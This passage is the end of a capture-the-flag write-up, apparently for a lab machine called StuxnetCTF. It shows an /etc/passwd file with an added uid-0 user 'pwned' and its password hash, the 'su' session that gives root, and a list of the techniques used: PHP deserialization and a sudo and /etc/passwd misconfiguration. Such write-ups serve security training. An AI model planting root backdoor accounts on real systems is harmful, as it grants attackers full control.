proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/bin/bash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
grecia:x:1000:1000:StuxnetCTF,,,:/home/grecia:/bin/bash
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
pwned:$1$iWXmHZuf$mVNG8abIXyBrLPiCt587V1:0:0::/root:/bin/bash
After saving it, we can Switch User to our newly created user:
www-data@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804
202704977050807800832928198526567069446044422855055$ su pwned
Password:
root@ubuntu:/var/www/html/473150289372648955391313281766843507325770399840230051892039938856873289538042027
04977050807800832928198526567069446044422855055# whoami;hostname;id;ip a
root
ubuntu
uid=0(root) gid=0(root) groups=0(root)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
link/ether 02:50:8e:17:fc:cb brd ff:ff:ff:ff:ff:ff
inet 10.10.254.140/16 brd 10.10.255.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::50:8eff:fe17:fccb/64 scope link
valid_lft forever preferred_lft forever
I’m root! :D
Rooted
root.txt:
root@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055# cat /home/grecia/user.txt
{Redacted}
Conclusion
What we’ve learned:
- Viewing Web Crawling File
robots.txt
- Calculating Diffie-Hellman’s Secret Message
- Exploiting PHP Insecure Deserialization With Gadget Chain
- Horizontal Privilege Escalation Via Misconfigurated Sudo &
/etc/passwd
Permission